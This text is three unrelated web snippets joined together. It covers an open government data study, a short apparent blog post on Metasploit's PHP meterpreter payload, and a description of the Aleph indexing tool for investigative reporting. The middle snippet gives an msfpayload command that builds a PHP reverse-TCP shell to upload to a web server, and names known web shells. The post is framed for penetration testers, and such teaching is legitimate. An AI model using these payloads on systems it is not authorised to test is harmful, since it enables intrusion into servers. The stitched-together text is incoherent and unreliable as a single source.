Open Data Study Substantial social and economic gains can be made from opening government data to the public. The combination of geographic, budget, demographic, services, education, and other data, publicly available in an open format on the web, promises to improve services as well as create future economic growth. This approach has been recently pioneered by governments in the United States and the United Kingdom (with the launch of two web portals, www.data.gov and www.data.gov.uk respectively) inspired in part by applications developed by grassroots civil society organizations ranging from bicycle accidents maps to sites breaking down how and where tax money is spent. This research, commissioned by a consortium of funders and NGOs (including the Information Program) under the umbrella of the Transparency and Accountability Initiative, seeks to explore the feasibility of applying this approach to open data in relevant middle income and developing countries.

PHP meterpreter payload - #!/zitstif.no-ip.org/ Today I’ll be showing a new feature that has just been added to the Metasploit framework. When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain parameters are met. One parameter that must be met, is that the server must allow system commands through PHP. If you surf around on the internet looking for PHP shells, you’ll find ones such as: c99.php, DXshell.php. Now as part of the Metasploit framework, pentesters can now use meterpreter as a php payload. msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > mypayload.php With this file you can use it on the web server to get a reverse connection. On the attacker’s end all you have to do is setup msfconsole and use the multi/handler. More to come as usual…

Aleph - Databases Insert paragraph here... Aleph is a tool, built by Friedrich Lindenberg during his ICFJ Knight Fellowship, for indexing large amounts of both text (PDF, Word, HTML) and tabular (CSV, XLS, SQL) data for easy browsing and search. It is built with investigative reporting as a primary use case, and it allows cross-referencing mentions of well-known people and companies against watch lists, which are built from prior research or public data sets. The tool was first developed for ANCIR, as part of Grano, a reporting tool for investigating the connections between public and private officials. Following his ICFJ Knight Fellowship, Lindenberg used Aleph to power a data search feature for OCCRP's Investigative Dashboard. The OpenOil platform also leverages Aleph to search through more than 1 million corporate filings related to the oil, gas and mining industries. For more:
